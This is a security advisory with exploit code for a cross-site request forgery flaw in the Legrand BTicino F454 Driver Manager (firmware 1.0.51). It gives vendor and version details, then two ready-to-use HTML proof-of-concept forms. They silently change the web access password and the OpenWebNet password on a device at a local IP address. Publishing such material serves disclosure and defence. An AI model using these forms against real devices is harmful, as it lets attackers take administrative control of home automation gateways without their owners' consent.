Legrand BTicino Driver Manager F454 version 1.0.51 suffers from a cross site request forgery vulnerability.
a9a48790d3c6f306e33b3ea8ba7ec362<!--
Legrand BTicino Driver Manager F454 1.0.51 CSRF Change Password Exploit
Vendor: BTicino S.p.A.
Product web page: https://www.bticino.com
Affected version: Hardware Platform: F454
Firmware version: 1.0.51
Driver Manager version: 1.1.14
Summary: Audio/video web server for the remote control of the
system using web pages or the MY HOME portal. The device can
operate as a gateway for the use of the MHVisual and Virtual
Configurator software - 6 DIN modules. It replaces item F453
and F453AV.
Desc: The application interface allows users to perform certain
actions via HTTP requests without performing any validity checks
to verify the requests. This can be exploited to perform certain
actions with administrative privileges if a logged-in user visits
a malicious web site.
Tested on: Apache/2.2.14 (Unix)
OpenSSL/1.0.0d
PHP/5.1.6
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2019-5521
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5521.php
30.04.2019
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<!-- CSRF PoC web access password change -->
<html>
<body>
<form action="http://192.168.1.66:8080/system/password.save.php" method="POST">
<input type="hidden" name="password1" value="newpass123" />
<input type="hidden" name="password2" value="newpass123" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
<!-- CSRF PoC OpenWebNet password change -->
<html>
<body>
<form action="http://192.168.1.66:8080/system/ownpassword.save.php" method="POST">
<input type="hidden" name="ownpassword" value="ilegnisi" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>